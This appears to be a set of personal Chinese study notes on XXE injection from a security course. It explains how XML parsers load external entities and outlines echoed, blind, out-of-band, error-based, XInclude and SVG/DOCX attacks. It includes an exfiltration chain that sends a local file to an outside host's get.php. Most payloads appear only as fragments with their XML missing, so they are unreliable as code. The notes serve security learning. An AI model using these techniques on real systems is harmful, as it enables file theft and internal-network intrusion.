跟学小迪学习-XXE漏洞
我本以为我记得住的,事实证明我特么记不住全部,还是老老实实写点笔记吧
跟学小迪学习-XXE漏洞记录:
总结流程:
1.漏洞成因
2.漏洞类型
3.漏洞利用思路
1.漏洞成因
1.1什么是XML
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,
其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。
1.2 什么是XXE漏洞?
XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:
XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网扫描、攻击内网等危害。
2.漏洞类型
2.1 有回显类型,无回显类型
3.漏洞利用思路
3.1 有回显类型利用思路
3.1.1
在数据包中的xml格式里添加利用代码
文件读取:
]>
&xxe; 1
3.1.2 外部引用实体dtd
在自己的网站上放入dtd文件,然后通过在数据包中的xml格式里对dtd进行外部调用
外部引用实体dtd:
%file;
]>
&send; xiaodi
file.dtd
3.2 无回显类型利用思路
3.2.1 进行带外测试
让目标网站对自己的网站进行一个访问,来看目标网站有没有执行 %file; ]> &send; xiaodi 3.2.2 外部引用实体dtd配合带外 通过对调用dtd,让目标网站解析dtd,生成一个实体(内容为:将相关数据发送到自己的网站里),再让目标网站执行这个实体,从而完成外带 %remote; %all; ]> &send; xiaodi test.dtd内容: “> get.php内容:
逻辑顺序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=读取的内网数据
3.2.3 外部引用实体dtd配合错误解析
(利用目标网站有报错解析返回内容)通过对调用dtd,访问目标网站的错误目录触发,
“>
%eval;
%exfil;
%xxe;]>
3.2.4 xinclude利用
(原因:某些应用程序接收用户输入,将其动态嵌入到 XML 文档中,并在服务器端解析该 XML。如果应用程序未禁用 XInclude 功能,攻击者可通过注入恶意 标签读取服务器上的敏感文件。)
一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行
通过xinclude,将代码嵌入
3.2.5 SVG图像解析(docx等)
(SVG,docx 这些文件自身包含xml这些格式,通过对其xml数据的更改,从而使使用xml解析的网站,对修改的文件进行解析)
一些应用程序接收解析文件,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试
]>
&xxe;